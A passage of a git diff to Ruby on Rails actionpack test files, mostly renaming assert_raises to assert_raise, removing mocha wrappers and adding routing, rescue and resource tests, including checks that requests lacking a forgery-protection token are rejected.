+ assert_raise(ActionController::InvalidAuthenticityToken) { post :index, :format => :html }
end
def test_should_not_allow_html_put_without_token
@request.env['CONTENT_TYPE'] = Mime::URL_ENCODED_FORM.to_s
- assert_raises(ActionController::InvalidAuthenticityToken) { put :index, :format => :html }
+ assert_raise(ActionController::InvalidAuthenticityToken) { put :index, :format => :html }
end
def test_should_not_allow_html_delete_without_token
@request.env['CONTENT_TYPE'] = Mime::URL_ENCODED_FORM.to_s
- assert_raises(ActionController::InvalidAuthenticityToken) { delete :index, :format => :html }
+ assert_raise(ActionController::InvalidAuthenticityToken) { delete :index, :format => :html }
end
def test_should_allow_api_formatted_post_without_token
@@ -111,42 +111,42 @@ module RequestForgeryProtectionTests
end
def test_should_not_allow_api_formatted_post_sent_as_url_encoded_form_without_token
- assert_raises(ActionController::InvalidAuthenticityToken) do
+ assert_raise(ActionController::InvalidAuthenticityToken) do
@request.env['CONTENT_TYPE'] = Mime::URL_ENCODED_FORM.to_s
post :index, :format => 'xml'
end
end
def test_should_not_allow_api_formatted_put_sent_as_url_encoded_form_without_token
- assert_raises(ActionController::InvalidAuthenticityToken) do
+ assert_raise(ActionController::InvalidAuthenticityToken) do
@request.env['CONTENT_TYPE'] = Mime::URL_ENCODED_FORM.to_s
put :index, :format => 'xml'
end
end
def test_should_not_allow_api_formatted_delete_sent_as_url_encoded_form_without_token
- assert_raises(ActionController::InvalidAuthenticityToken) do
+ assert_raise(ActionController::InvalidAuthenticityToken) do
@request.env['CONTENT_TYPE'] = Mime::URL_ENCODED_FORM.to_s
delete :index, :format => 'xml'
end
end
def test_should_not_allow_api_formatted_post_sent_as_multipart_form_without_token
- assert_raises(ActionController::InvalidAuthenticityToken) do
+ assert_raise(ActionController::InvalidAuthenticityToken) do
@request.env['CONTENT_TYPE'] = Mime::MULTIPART_FORM.to_s
post :index, :format => 'xml'
end
end
def test_should_not_allow_api_formatted_put_sent_as_multipart_form_without_token
- assert_raises(ActionController::InvalidAuthenticityToken) do
+ assert_raise(ActionController::InvalidAuthenticityToken) do
@request.env['CONTENT_TYPE'] = Mime::MULTIPART_FORM.to_s
put :index, :format => 'xml'
end
end
def test_should_not_allow_api_formatted_delete_sent_as_multipart_form_without_token
- assert_raises(ActionController::InvalidAuthenticityToken) do
+ assert_raise(ActionController::InvalidAuthenticityToken) do
@request.env['CONTENT_TYPE'] = Mime::MULTIPART_FORM.to_s
delete :index, :format => 'xml'
end
diff --git a/actionpack/test/controller/rescue_test.rb b/actionpack/test/controller/rescue_test.rb
index 744ca9286c..741b01caa8 100644
--- a/actionpack/test/controller/rescue_test.rb
+++ b/actionpack/test/controller/rescue_test.rb
@@ -1,7 +1,5 @@
require 'abstract_unit'
-uses_mocha 'rescue' do
-
class RescueController < ActionController::Base
class NotAuthorized < StandardError
end
@@ -202,6 +200,24 @@ class RescueControllerTest < ActionController::TestCase
end
end
+ def test_rescue_action_in_public_with_localized_error_file
+ # Change locale
+ old_locale = I18n.locale
+ I18n.locale = :da
+
+ with_rails_root FIXTURE_PUBLIC do
+ with_all_requests_local false do
+ get :raises
+ end
+ end
+
+ assert_response :internal_server_error
+ body = File.read("#{FIXTURE_PUBLIC}/public/500.da.html")
+ assert_equal body, @response.body
+ ensure
+ I18n.locale = old_locale
+ end
+
def test_rescue_action_in_public_with_error_file
with_rails_root FIXTURE_PUBLIC do
with_all_requests_local false do
@@ -521,4 +537,3 @@ class ControllerInheritanceRescueControllerTest < ActionController::TestCase
assert_response :created
end
end
-end # uses_mocha
diff --git a/actionpack/test/controller/resources_test.rb b/actionpack/test/controller/resources_test.rb
index 8dedeb23f6..c807e71cd7 100644
--- a/actionpack/test/controller/resources_test.rb
+++ b/actionpack/test/controller/resources_test.rb
@@ -99,7 +99,7 @@ class ResourcesTest < ActionController::TestCase
expected_options = {:controller => 'messages', :action => 'show', :id => '1.1.1'}
with_restful_routing :messages do
- assert_raises(ActionController::RoutingError) do
+ assert_raise(ActionController::RoutingError) do
assert_recognizes(expected_options, :path => 'messages/1.1.1', :method => :get)
end
end
@@ -175,6 +175,24 @@ class ResourcesTest < ActionController::TestCase
end
end
+ def test_with_collection_actions_and_name_prefix_and_member_action_with_same_name
+ actions = { 'a' => :get }
+
+ with_restful_routing :messages, :path_prefix => '/threads/:thread_id', :name_prefix => "thread_", :collection => actions, :member => actions do
+ assert_restful_routes_for :messages, :path_prefix => 'threads/1/', :name_prefix => 'thread_', :options => { :thread_id => '1' } do |options|
+ actions.each do |action, method|
+ assert_recognizes(options.merge(:action => action), :path => "/threads/1/messages/#{action}", :method => method)
+ end
+ end
+
+ assert_restful_named_routes_for :messages, :path_prefix => 'threads/1/', :name_prefix => 'thread_', :options => { :thread_id => '1' } do |options|
+ actions.keys.each do |action|
+ assert_named_route "/threads/1/messages/#{action}", "#{action}_thread_messages_path", :action => action
+ end
+ end
+ end
+ end
+
def test_with_collection_action_and_name_prefix_and_formatted
actions = { 'a' => :get, 'b' => :put, 'c' => :post, 'd' => :delete }
@@ -209,6 +227,14 @@ class ResourcesTest < ActionController::TestCase
end
end
+ def test_with_member_action_and_requirement
+ expected_options = {:controller => 'messages', :action => 'mark', :id => '1.1.1'}
+
+ with_restful_routing(:messages, :requirements => {:id => /[0-9]\.[0-9]\.[0-9]/}, :member => { :mark => :get }) do
+ assert_recognizes(expected_options, :path => 'messages/1.1.1/mark', :method => :get)
+ end
+ end
+
def test_member_when_override_paths_for_default_restful_actions_with
[:put, :post].each do |method|
with_restful_routing :messages, :member => { :mark => method }, :path_names => {:new => 'nuevo'} do
@@ -325,7 +351,7 @@ class ResourcesTest < ActionController::TestCase
with_restful_routing :messages do
assert_restful_routes_for :messages do |options|
assert_recognizes(options.merge(:action => "new"), :path => "/messages/new", :method => :get)
- assert_raises(ActionController::MethodNotAllowed) do
+ assert_raise(ActionController::MethodNotAllowed) do
ActionController::Routing::Routes.recognize_path("/messages/new", :method => :post)
end
end
@@ -406,6 +432,34 @@ class ResourcesTest < ActionController::TestCase
end
end
+ def test_shallow_nested_restful_routes_with_namespaces
+ with_routing do |set|
+ set.draw do |map|
+ map.namespace :backoffice do |map|
+ map.namespace :admin do |map|
+ map.resources :products, :shallow => true do |map|
+ map.resources :images
+ end
+ end
+ end
+ end
+
+ assert_simply_restful_for :products,
+ :controller => 'backoffice/admin/products',
+ :namespace => 'backoffice/admin/',
+ :name_prefix => 'backoffice_admin_',
+ :path_prefix => 'backoffice/admin/',
+ :shallow => true
+ assert_simply_restful_for :images,
+ :controller => 'backoffice/admin/images',
+ :namespace => 'backoffice/admin/',
+ :name_prefix => 'backoffice_admin_product_',
+ :path_prefix => 'backoffice/admin/products/1/',
+ :shallow => true,
+ :options => { :product_id => '1' }
+ end
+ end
+
def test_restful_routes_dont_generate_duplicates
with_restful_routing :messages do
routes = ActionController::Routing::Routes.routes
@@ -583,11 +637,11 @@ class ResourcesTest < ActionController::TestCase
options = { :controller => controller_name.to_s }
collection_path = "/#{controller_name}"
- assert_raises(ActionController::MethodNotAllowed) do
+ assert_raise(ActionController::MethodNotAllowed) do
assert_recognizes(options.merge(:action => 'update'), :path => collection_path, :method => :put)
end
- assert_raises(ActionController::MethodNotAllowed) do
+ assert_raise(ActionController::MethodNotAllowed) do
assert_recognizes(options.merge(:action => 'destroy'), :path => collection_path, :method => :delete)
end
end
@@ -596,7 +650,7 @@ class ResourcesTest < ActionController::TestCase
def test_should_not_allow_invalid_head_method_for_member_routes
with_routing do |set|
set.draw do |map|
- assert_raises(ArgumentError) do
+ assert_raise(ArgumentError) do
map.resources :messages, :member => {:something => :head}
end
end
@@ -606,7 +660,7 @@ class ResourcesTest < ActionController::TestCase
def test_should_not_allow_invalid_http_methods_for_member_routes
with_routing do |set|
set.draw do |map|
- assert_raises(ArgumentError) do
+ assert_raise(ArgumentError) do
map.resources :messages, :member => {:something => :invalid}
end
end
@@ -750,9 +804,17 @@ class ResourcesTest < ActionController::TestCase
end
def test_with_path_segment
- with_restful_routing :messages, :as => 'reviews' do
- assert_simply_restful_for :messages, :as => 'reviews'
+ with_restful_routing :messages do
+ assert_simply_restful_for :messages
+ assert_recognizes({:controller => "messages", :action => "index"}, "/messages")
+ assert_recognizes({:controller => "messages", :action => "index"}, "/messages/")
end
+
+ with_restful_routing :messages, :as => 'reviews' do
+ assert_simply_restful_for :messages, :as => 'reviews'
+ assert_recognizes({:controller => "messages", :action => "index"}, "/reviews")
+ assert_recognizes({:controller => "messages", :action => "index"}, "/reviews/")
+ end
end
def test_multiple_with_path_segment_and_controller
@@ -942,19 +1004,6 @@ class ResourcesTest < ActionController::TestCase
end
end
- def test_nested_resource_inherits_only_show_action
- with_routing do |set|
- set.draw do |map|
- map.resources :products, :only => :show do |product|
- product.resources :images
- end
- end
-
- assert_resource_allowed_routes('images', { :product_id => '1' }, { :id => '2' }, :show, [:index, :new, :create, :edit, :update, :destroy], 'products/1/images')
- assert_resource_allowed_routes('images', { :product_id => '1', :format => 'xml' }, { :id => '2' }, :show, [:index, :new, :create, :edit, :update, :destroy], 'products/1/images')
- end
- end
-
def test_nested_resource_has_only_show_and_member_action
with_routing do |set|
set.draw do |map|
@@ -971,7 +1020,7 @@ class ResourcesTest < ActionController::TestCase
end
end
- def test_nested_resource_ignores_only_option
+ def test_nested_resource_does_not_inherit_only_option
with_routing do |set|
set.draw do |map|
map.resources :products, :only => :show do |product|
@@ -984,7 +1033,20 @@ class ResourcesTest < ActionController::TestCase
end
end
- def test_nested_resource_ignores_except_option
+ def test_nested_resource_does_not_inherit_only_option_by_default
+ with_routing do |set|
+ set.draw do |map|
+ map.resources :products, :only => :show do |product|
+ product.resources :images
+ end
+ end
+
+ assert_resource_allowed_routes('images', { :product_id => '1' }, { :id => '2' }, [:index, :new, :create, :show, :edit, :update, :destory], [], 'products/1/images')
+ assert_resource_allowed_routes('images', { :product_id => '1', :format => 'xml' }, { :id => '2' }, [:index, :new, :create, :show, :edit, :update, :destroy], [], 'products/1/images')
+ end
+ end
+
+ def test_nested_resource_does_not_inherit_except_option
with_routing do |set|
set.draw do |map|
map.resources :products, :except => :show do |product|
@@ -997,6 +1059,19 @@ class ResourcesTest < ActionController::TestCase
end
end
+ def test_nested_resource_does_not_inherit_except_option_by_default
+ with_routing do |set|
+ set.draw do |map|
+ map.resources :products, :except => :show do |product|
+ product.resources :images
+ end
+ end
+
+ assert_resource_allowed_routes('images', { :product_id => '1' }, { :id => '2' }, [:index, :new, :create, :show, :edit, :update, :destroy], [], 'products/1/images')
+ assert_resource_allowed_routes('images', { :product_id => '1', :format => 'xml' }, { :id => '2' }, [:index, :new, :create, :show, :edit, :update, :destroy], [], 'products/1/images')
+ end
+ end
+
def test_default_singleton_restful_route_uses_get
with_routing do |set|
set.draw do |map|
@@ -1053,7 +1128,7 @@ class ResourcesTest < ActionController::TestCase
path = "#{options[:as] || controller_name}"
collection_path = "/#{options[:path_prefix]}#{path}"
- shallow_path = "/#{options[:path_prefix] unless options[:shallow]}#{path}"
+ shallow_path = "/#{options[:shallow] ? options[:namespace] : options[:path_prefix]}#{path}"
member_path = "#{shallow_path}/1"
new_path = "#{collection_path}/#{new_action}"
edit_member_path = "#{member_path}/#{edit_action}"
@@ -1117,10 +1192,10 @@ class ResourcesTest < ActionController::TestCase
options[:options].delete :action
path = "#{options[:as] || controller_name}"
- shallow_path = "/#{options[:path_prefix] unless options[:shallow]}#{path}"
+ shallow_path = "/#{options[:shallow] ? options[:namespace] : options[:path_prefix]}#{path}"
full_path = "/#{options[:path_prefix]}#{path}"
name_prefix = options[:name_prefix]
- shallow_prefix = "#{options[:name_prefix] unless options[:shallow]}"
+ shallow_prefix = options[:shallow] ? options[:namespace].try(:gsub, /\//, '_') : options[:name_prefix]
new_action = "new"
edit_action = "edit"
diff --git a/actionpack/test/controller/routing_test.rb b/actionpack/test/controller/routing_test.rb
index b981119e1e..ef56119751 100644
--- a/actionpack/test/controller/routing_test.rb
+++ b/actionpack/test/controller/routing_test.rb
@@ -219,7 +219,7 @@ class DynamicSegmentTest < Test::Unit::TestCase
a_value = nil
# Local jump because of return inside eval.
- assert_raises(LocalJumpError) { eval(segment.extraction_code) }
+ assert_raise(LocalJumpError) { eval(segment.extraction_code) }
end
def test_extraction_code_should_return_on_mismatch
@@ -229,7 +229,7 @@ class DynamicSegmentTest < Test::Unit::TestCase
a_value = nil
# Local jump because of return inside eval.
- assert_raises(LocalJumpError) { eval(segment.extraction_code) }
+ assert_raise(LocalJumpError) { eval(segment.extraction_code) }
end
def test_extraction_code_should_accept_value_and_set_local
@@ -340,6 +340,30 @@ class ControllerSegmentTest < Test::Unit::TestCase
end
end
+class PathSegmentTest < Test::Unit::TestCase
+ def segment(options = {})
+ unless @segment
+ @segment = ROUTING::PathSegment.new(:path, options)
+ end
+ @segment
+ end
+
+ def test_regexp_chunk_should_return_string
+ segment = segment(:regexp => /[a-z]+/)
+ assert_kind_of String, segment.regexp_chunk
+ end
+
+ def test_regexp_chunk_should_be_wrapped_with_parenthesis
+ segment = segment(:regexp => /[a-z]+/)
+ assert_equal "([a-z]+)", segment.regexp_chunk
+ end
+
+ def test_regexp_chunk_should_respect_options
+ segment = segment(:regexp => /[a-z]+/i)
+ assert_equal "((?i-mx:[a-z]+))", segment.regexp_chunk
+ end
+end
+
class RouteBuilderTest < Test::Unit::TestCase
def builder
@builder ||= ROUTING::RouteBuilder.new
@@ -470,7 +494,7 @@ class RouteBuilderTest < Test::Unit::TestCase
defaults = {:action => 'buy', :person => nil, :car => nil}
requirements = {:person => /\w+/, :car => /^\w+$/}
- assert_raises ArgumentError do
+ assert_raise ArgumentError do
route_requirements = builder.assign_route_options(segments, defaults, requirements)
end
@@ -691,1635 +715,1656 @@ class RoutingTest < Test::Unit::TestCase
end
end
-uses_mocha 'LegacyRouteSet, Route, RouteSet and RouteLoading' do
- class MockController
- attr_accessor :routes
-
- def initialize(routes)
- self.routes = routes
- end
+class MockController
+ attr_accessor :routes
- def url_for(options)
- only_path = options.delete(:only_path)
+ def initialize(routes)
+ self.routes = routes
+ end
- port = options.delete(:port) || 80
- port_string = port == 80 ? '' : ":#{port}"
+ def url_for(options)
+ only_path = options.delete(:only_path)
- protocol = options.delete(:protocol) || "http"
- host = options.delete(:host) || "test.host"
- anchor = "##{options.delete(:anchor)}" if options.key?(:anchor)
+ port = options.delete(:port) || 80
+ port_string = port == 80 ? '' : ":#{port}"
- path = routes.generate(options)
+ protocol = options.delete(:protocol) || "http"
+ host = options.delete(:host) || "test.host"
+ anchor = "##{options.delete(:anchor)}" if options.key?(:anchor)
- only_path ? "#{path}#{anchor}" : "#{protocol}://#{host}#{port_string}#{path}#{anchor}"
- end
+ path = routes.generate(options)
- def request
- @request ||= ActionController::TestRequest.new
- end
+ only_path ? "#{path}#{anchor}" : "#{protocol}://#{host}#{port_string}#{path}#{anchor}"
end
- class LegacyRouteSetTests < Test::Unit::TestCase
- attr_reader :rs
+ def request
+ @request ||= ActionController::TestRequest.new
+ end
+end
- def setup
- # These tests assume optimisation is on, so re-enable it.
- ActionController::Base.optimise_named_routes = true
+class LegacyRouteSetTests < Test::Unit::TestCase
+ attr_reader :rs
- @rs = ::ActionController::Routing::RouteSet.new
+ def setup
+ # These tests assume optimisation is on, so re-enable it.
+ ActionController::Base.optimise_named_routes = true
+
+ @rs = ::ActionController::Routing::RouteSet.new
+
+ ActionController::Routing.use_controllers! %w(content admin/user admin/news_feed)
+ end
+
+ def teardown
+ @rs.clear!
+ end
+
+ def test_default_setup
+ @rs.draw {|m| m.connect ':controller/:action/:id' }
+ assert_equal({:controller => "content", :action => 'index'}, rs.recognize_path("/content"))
+ assert_equal({:controller => "content", :action => 'list'}, rs.recognize_path("/content/list"))
+ assert_equal({:controller => "content", :action => 'show', :id => '10'}, rs.recognize_path("/content/show/10"))
+
+ assert_equal({:controller => "admin/user", :action => 'show', :id => '10'}, rs.recognize_path("/admin/user/show/10"))
+
+ assert_equal '/admin/user/show/10', rs.generate(:controller => 'admin/user', :action => 'show', :id => 10)
+
+ assert_equal '/admin/user/show', rs.generate({:action => 'show'}, {:controller => 'admin/user', :action => 'list', :id => '10'})
+ assert_equal '/admin/user/list/10', rs.generate({}, {:controller => 'admin/user', :action => 'list', :id => '10'})
+
+ assert_equal '/admin/stuff', rs.generate({:controller => 'stuff'}, {:controller => 'admin/user', :action => 'list', :id => '10'})
+ assert_equal '/stuff', rs.generate({:controller => '/stuff'}, {:controller => 'admin/user', :action => 'list', :id => '10'})
+ end
+
+ def test_ignores_leading_slash
+ @rs.clear!
+ @rs.draw {|m| m.connect '/:controller/:action/:id'}
+ test_default_setup
+ end
+
+ def test_time_recognition
+ # We create many routes to make situation more realistic
+ @rs = ::ActionController::Routing::RouteSet.new
+ @rs.draw { |map|
+ map.frontpage '', :controller => 'search', :action => 'new'
+ map.resources :videos do |video|
+ video.resources :comments
+ video.resource :file, :controller => 'video_file'
+ video.resource :share, :controller => 'video_shares'
+ video.resource :abuse, :controller => 'video_abuses'
+ end
+ map.resources :abuses, :controller => 'video_abuses'
+ map.resources :video_uploads
+ map.resources :video_visits
+
+ map.resources :users do |user|
+ user.resource :settings
+ user.resources :videos
+ end
+ map.resources :channels do |channel|
+ channel.resources :videos, :controller => 'channel_videos'
+ end
+ map.resource :session
+ map.resource :lost_password
+ map.search 'search', :controller => 'search'
+ map.resources :pages
+ map.connect ':controller/:action/:id'
+ }
+ n = 1000
+ if RunTimeTests
+ GC.start
+ rectime = Benchmark.realtime do
+ n.times do
+ rs.recognize_path("/videos/1234567", {:method => :get})
+ rs.recognize_path("/videos/1234567/abuse", {:method => :get})
+ rs.recognize_path("/users/1234567/settings", {:method => :get})
+ rs.recognize_path("/channels/1234567", {:method => :get})
+ rs.recognize_path("/session/new", {:method => :get})
+ rs.recognize_path("/admin/user/show/10", {:method => :get})
+ end
+ end
+ puts "\n\nRecognition (#{rs.routes.size} routes):"
+ per_url = rectime / (n * 6)
+ puts "#{per_url * 1000} ms/url"
+ puts "#{1 / per_url} url/s\n\n"
+ end
+ end
+
+ def test_time_generation
+ n = 5000
+ if RunTimeTests
+ GC.start
+ pairs = [
+ [{:controller => 'content', :action => 'index'}, {:controller => 'content', :action => 'show'}],
+ [{:controller => 'content'}, {:controller => 'content', :action => 'index'}],
+ [{:controller => 'content', :action => 'list'}, {:controller => 'content', :action => 'index'}],
+ [{:controller => 'content', :action => 'show', :id => '10'}, {:controller => 'content', :action => 'list'}],
+ [{:controller => 'admin/user', :action => 'index'}, {:controller => 'admin/user', :action => 'show'}],
+ [{:controller => 'admin/user'}, {:controller => 'admin/user', :action => 'index'}],
+ [{:controller => 'admin/user', :action => 'list'}, {:controller => 'admin/user', :action => 'index'}],
+ [{:controller => 'admin/user', :action => 'show', :id => '10'}, {:controller => 'admin/user', :action => 'list'}],
+ ]
+ p = nil
+ gentime = Benchmark.realtime do
+ n.times do
+ pairs.each {|(a, b)| rs.generate(a, b)}
+ end
+ end
- ActionController::Routing.use_controllers! %w(content admin/user admin/news_feed)
+ puts "\n\nGeneration (RouteSet): (#{(n * 8)} urls)"
+ per_url = gentime / (n * 8)
+ puts "#{per_url * 1000} ms/url"
+ puts "#{1 / per_url} url/s\n\n"
end
-
- def teardown
- @rs.clear!
- end
-
- def test_default_setup
- @rs.draw {|m| m.connect ':controller/:action/:id' }
- assert_equal({:controller => "content", :action => 'index'}, rs.recognize_path("/content"))
- assert_equal({:controller => "content", :action => 'list'}, rs.recognize_path("/content/list"))
- assert_equal({:controller => "content", :action => 'show', :id => '10'}, rs.recognize_path("/content/show/10"))
-
- assert_equal({:controller => "admin/user", :action => 'show', :id => '10'}, rs.recognize_path("/admin/user/show/10"))
+ end
- assert_equal '/admin/user/show/10', rs.generate(:controller => 'admin/user', :action => 'show', :id => 10)
+ def test_route_with_colon_first
+ rs.draw do |map|
+ map.connect '/:controller/:action/:id', :action => 'index', :id => nil
+ map.connect ':url', :controller => 'tiny_url', :action => 'translate'
+ end
+ end
- assert_equal '/admin/user/show', rs.generate({:action => 'show'}, {:controller => 'admin/user', :action => 'list', :id => '10'})
- assert_equal '/admin/user/list/10', rs.generate({}, {:controller => 'admin/user', :action => 'list', :id => '10'})
+ def test_route_with_regexp_for_controller
+ rs.draw do |map|
+ map.connect ':controller/:admintoken/:action/:id', :controller => /admin\/.+/
+ map.connect ':controller/:action/:id'
+ end
+ assert_equal({:controller => "admin/user", :admintoken => "foo", :action => "index"},
+ rs.recognize_path("/admin/user/foo"))
+ assert_equal({:controller => "content", :action => "foo"}, rs.recognize_path("/content/foo"))
+ assert_equal '/admin/user/foo', rs.generate(:controller => "admin/user", :admintoken => "foo", :action => "index")
+ assert_equal '/content/foo', rs.generate(:controller => "content", :action => "foo")
+ end
- assert_equal '/admin/stuff', rs.generate({:controller => 'stuff'}, {:controller => 'admin/user', :action => 'list', :id => '10'})
- assert_equal '/stuff', rs.generate({:controller => '/stuff'}, {:controller => 'admin/user', :action => 'list', :id => '10'})
+ def test_route_with_regexp_and_captures_for_controller
+ rs.draw do |map|
+ map.connect ':controller/:action/:id', :controller => /admin\/(accounts|users)/
end
+ assert_equal({:controller => "admin/accounts", :action => "index"}, rs.recognize_path("/admin/accounts"))
+ assert_equal({:controller => "admin/users", :action => "index"}, rs.recognize_path("/admin/users"))
+ assert_raise(ActionController::RoutingError) { rs.recognize_path("/admin/products") }
+ end
- def test_ignores_leading_slash
- @rs.clear!
- @rs.draw {|m| m.connect '/:controller/:action/:id'}
- test_default_setup
+ def test_route_with_regexp_and_dot
+ rs.draw do |map|
+ map.connect ':controller/:action/:file',
+ :controller => /admin|user/,
+ :action => /upload|download/,
+ :defaults => {:file => nil},
+ :requirements => {:file => %r{[^/]+(\.[^/]+)?}}
end
+ # Without a file extension
+ assert_equal '/user/download/file',
+ rs.generate(:controller => "user", :action => "download", :file => "file")
+ assert_equal(
+ {:controller => "user", :action => "download", :file => "file"},
+ rs.recognize_path("/user/download/file"))
- def test_time_recognition
- # We create many routes to make situation more realistic
- @rs = ::ActionController::Routing::RouteSet.new
- @rs.draw { |map|
- map.frontpage '', :controller => 'search', :action => 'new'
- map.resources :videos do |video|
- video.resources :comments
- video.resource :file, :controller => 'video_file'
- video.resource :share, :controller => 'video_shares'
- video.resource :abuse, :controller => 'video_abuses'
- end
- map.resources :abuses, :controller => 'video_abuses'
- map.resources :video_uploads
- map.resources :video_visits
+ # Now, let's try a file with an extension, really a dot (.)
+ assert_equal '/user/download/file.jpg',
+ rs.generate(
+ :controller => "user", :action => "download", :file => "file.jpg")
+ assert_equal(
+ {:controller => "user", :action => "download", :file => "file.jpg"},
+ rs.recognize_path("/user/download/file.jpg"))
+ end
- map.resources :users do |user|
- user.resource :settings
- user.resources :videos
- end
- map.resources :channels do |channel|
- channel.resources :videos, :controller => 'channel_videos'
- end
- map.resource :session
- map.resource :lost_password
- map.search 'search', :controller => 'search'
- map.resources :pages
- map.connect ':controller/:action/:id'
- }
- n = 1000
- if RunTimeTests
- GC.start
- rectime = Benchmark.realtime do
- n.times do
- rs.recognize_path("/videos/1234567", {:method => :get})
- rs.recognize_path("/videos/1234567/abuse", {:method => :get})
- rs.recognize_path("/users/1234567/settings", {:method => :get})
- rs.recognize_path("/channels/1234567", {:method => :get})
- rs.recognize_path("/session/new", {:method => :get})
- rs.recognize_path("/admin/user/show/10", {:method => :get})
- end
- end
- puts "\n\nRecognition (#{rs.routes.size} routes):"
- per_url = rectime / (n * 6)
- puts "#{per_url * 1000} ms/url"
- puts "#{1 / per_url} url/s\n\n"
- end
- end
+ def test_basic_named_route
+ rs.add_named_route :home, '', :controller => 'content', :action => 'list'
+ x = setup_for_named_route
+ assert_equal("http://test.host/",
+ x.send(:home_url))
+ end
- def test_time_generation
- n = 5000
- if RunTimeTests
- GC.start
- pairs = [
- [{:controller => 'content', :action => 'index'}, {:controller => 'content', :action => 'show'}],
- [{:controller => 'content'}, {:controller => 'content', :action => 'index'}],
- [{:controller => 'content', :action => 'list'}, {:controller => 'content', :action => 'index'}],
- [{:controller => 'content', :action => 'show', :id => '10'}, {:controller => 'content', :action => 'list'}],
- [{:controller => 'admin/user', :action => 'index'}, {:controller => 'admin/user', :action => 'show'}],
- [{:controller => 'admin/user'}, {:controller => 'admin/user', :action => 'index'}],
- [{:controller => 'admin/user', :action => 'list'}, {:controller => 'admin/user', :action => 'index'}],
- [{:controller => 'admin/user', :action => 'show', :id => '10'}, {:controller => 'admin/user', :action => 'list'}],
- ]
- p = nil
- gentime = Benchmark.realtime do
- n.times do
- pairs.each {|(a, b)| rs.generate(a, b)}
- end
- end
+ def test_basic_named_route_with_relative_url_root
+ rs.add_named_route :home, '', :controller => 'content', :action => 'list'
+ x = setup_for_named_route
+ ActionController::Base.relative_url_root = "/foo"
+ assert_equal("http://test.host/foo/",
+ x.send(:home_url))
+ assert_equal "/foo/", x.send(:home_path)
+ ActionController::Base.relative_url_root = nil
+ end
- puts "\n\nGeneration (RouteSet): (#{(n * 8)} urls)"
- per_url = gentime / (n * 8)
- puts "#{per_url * 1000} ms/url"
- puts "#{1 / per_url} url/s\n\n"
- end
- end
+ def test_named_route_with_option
+ rs.add_named_route :page, 'page/:title', :controller => 'content', :action => 'show_page'
+ x = setup_for_named_route
+ assert_equal("http://test.host/page/new%20stuff",
+ x.send(:page_url, :title => 'new stuff'))
+ end
- def test_route_with_colon_first
- rs.draw do |map|
- map.connect '/:controller/:action/:id', :action => 'index', :id => nil
- map.connect ':url', :controller => 'tiny_url', :action => 'translate'
- end
- end
+ def test_named_route_with_default
+ rs.add_named_route :page, 'page/:title', :controller => 'content', :action => 'show_page', :title => 'AboutPage'
+ x = setup_for_named_route
+ assert_equal("http://test.host/page/AboutRails",
+ x.send(:page_url, :title => "AboutRails"))
- def test_route_with_regexp_for_controller
- rs.draw do |map|
- map.connect ':controller/:admintoken/:action/:id', :controller => /admin\/.+/
- map.connect ':controller/:action/:id'
- end
- assert_equal({:controller => "admin/user", :admintoken => "foo", :action => "index"},
- rs.recognize_path("/admin/user/foo"))
- assert_equal({:controller => "content", :action => "foo"}, rs.recognize_path("/content/foo"))
- assert_equal '/admin/user/foo', rs.generate(:controller => "admin/user", :admintoken => "foo", :action => "index")
- assert_equal '/content/foo', rs.generate(:controller => "content", :action => "foo")
- end
+ end
- def test_route_with_regexp_and_dot
- rs.draw do |map|
- map.connect ':controller/:action/:file',
- :controller => /admin|user/,
- :action => /upload|download/,
- :defaults => {:file => nil},
- :requirements => {:file => %r{[^/]+(\.[^/]+)?}}
- end
- # Without a file extension
- assert_equal '/user/download/file',
- rs.generate(:controller => "user", :action => "download", :file => "file")
- assert_equal(
- {:controller => "user", :action => "download", :file => "file"},
- rs.recognize_path("/user/download/file"))
+ def test_named_route_with_name_prefix
+ rs.add_named_route :page, 'page', :controller => 'content', :action => 'show_page', :name_prefix => 'my_'
+ x = setup_for_named_route
+ assert_equal("http://test.host/page",
+ x.send(:my_page_url))
+ end
- # Now, let's try a file with an extension, really a dot (.)
- assert_equal '/user/download/file.jpg',
- rs.generate(
- :controller => "user", :action => "download", :file => "file.jpg")
- assert_equal(
- {:controller => "user", :action => "download", :file => "file.jpg"},
- rs.recognize_path("/user/download/file.jpg"))
- end
+ def test_named_route_with_path_prefix
+ rs.add_named_route :page, 'page', :controller => 'content', :action => 'show_page', :path_prefix => 'my'
+ x = setup_for_named_route
+ assert_equal("http://test.host/my/page",
+ x.send(:page_url))
+ end
- def test_basic_named_route
- rs.add_named_route :home, '', :controller => 'content', :action => 'list'
- x = setup_for_named_route
- assert_equal("http://test.host/",
- x.send(:home_url))
- end
+ def test_named_route_with_blank_path_prefix
+ rs.add_named_route :page, 'page', :controller => 'content', :action => 'show_page', :path_prefix => ''
+ x = setup_for_named_route
+ assert_equal("http://test.host/page",
+ x.send(:page_url))
+ end
- def test_basic_named_route_with_relative_url_root
- rs.add_named_route :home, '', :controller => 'content', :action => 'list'
- x = setup_for_named_route
- ActionController::Base.relative_url_root = "/foo"
- assert_equal("http://test.host/foo/",
- x.send(:home_url))
- assert_equal "/foo/", x.send(:home_path)
- ActionController::Base.relative_url_root = nil
- end
+ def test_named_route_with_nested_controller
+ rs.add_named_route :users, 'admin/user', :controller => 'admin/user', :action => 'index'
+ x = setup_for_named_route
+ assert_equal("http://test.host/admin/user",
+ x.send(:users_url))
+ end
- def test_named_route_with_option
- rs.add_named_route :page, 'page/:title', :controller => 'content', :action => 'show_page'
- x = setup_for_named_route
- assert_equal("http://test.host/page/new%20stuff",
- x.send(:page_url, :title => 'new stuff'))
- end
+ def test_optimised_named_route_call_never_uses_url_for
+ rs.add_named_route :users, 'admin/user', :controller => '/admin/user', :action => 'index'
+ rs.add_named_route :user, 'admin/user/:id', :controller=>'/admin/user', :action=>'show'
+ x = setup_for_named_route
+ x.expects(:url_for).never
+ x.send(:users_url)
+ x.send(:users_path)
+ x.send(:user_url, 2, :foo=>"bar")
+ x.send(:user_path, 3, :bar=>"foo")
+ end
- def test_named_route_with_default
- rs.add_named_route :page, 'page/:title', :controller => 'content', :action => 'show_page', :title => 'AboutPage'
- x = setup_for_named_route
- assert_equal("http://test.host/page/AboutRails",
- x.send(:page_url, :title => "AboutRails"))
+ def test_optimised_named_route_with_host
+ rs.add_named_route :pages, 'pages', :controller => 'content', :action => 'show_page', :host => 'foo.com'
+ x = setup_for_named_route
+ x.expects(:url_for).with(:host => 'foo.com', :only_path => false, :controller => 'content', :action => 'show_page', :use_route => :pages).once
+ x.send(:pages_url)
+ end
- end
+ def setup_for_named_route
+ klass = Class.new(MockController)
+ rs.install_helpers(klass)
+ klass.new(rs)
+ end
- def test_named_route_with_name_prefix
- rs.add_named_route :page, 'page', :controller => 'content', :action => 'show_page', :name_prefix => 'my_'
